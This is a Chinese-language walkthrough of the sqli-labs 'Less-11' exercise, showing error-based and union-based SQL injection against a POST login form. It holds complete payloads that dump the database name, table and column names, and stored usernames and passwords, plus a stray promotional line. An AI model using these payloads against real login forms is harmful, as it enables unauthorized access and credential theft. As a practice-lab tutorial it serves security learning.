Less-11基于错误的POST单引号字符型注入
首先,这个是在用户登陆进行查询引发的post型sql注入,和get差异很大;然后我们已知其中有个用户名dumb,密码dumb;进行登陆看看!
另外本实验将会用到extractvalue()
该mysql报错型函数进行sql注入;
在登陆界面
输入dumb
用户名
输入dumb
密码
然后我们得到的拦截请求
提交post数据包uname=dumb&passwd=dumb&submit=Submit
不对它进行任何数据包修改,进行发送请求
这个就是我们安全龙攻防实验室拦截请求
功能的基本用法;
实验流程
方式一 extractvalue报错型
1、验证是否存在注入
在拦截请求
修改post数据包,将uname=dumb
改成uname=dumo'
后面参数保持不变!发送请求
后就会得到如下面图的报错,就说明存在sql注入;查找是否存在sql注入可以参考0x2 sql注入基础知识
2、爆开数据库
payload ~
的编码是0x7e
扫描二维码关注公众号,回复:
13145983 查看本文章

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
改包完后,点击发送请求
得到我们想要的数据库名security
3、爆开数据表
payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit
4、表开数据列(字段)
payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
5、爆开数据值
payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
方式二 union联合注入查询
爆开数据库表
uname=0' union select 1,database() --+ &passwd=admin&submit=Submit
爆开数据表
uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
爆开数据列(字段)
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit
爆开数据值
uname=0' union select 1, group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit
实验总结
extractvalue与union对比
1、extractvalue只能显示出32字段;所以在爆开数据表
的时候and table_name not in ('emails')
截图对比:
extractvalue爆出来的数据值
union爆出来的数据值
2、在构建union,查询这块基本是参考extractvalue查询方法!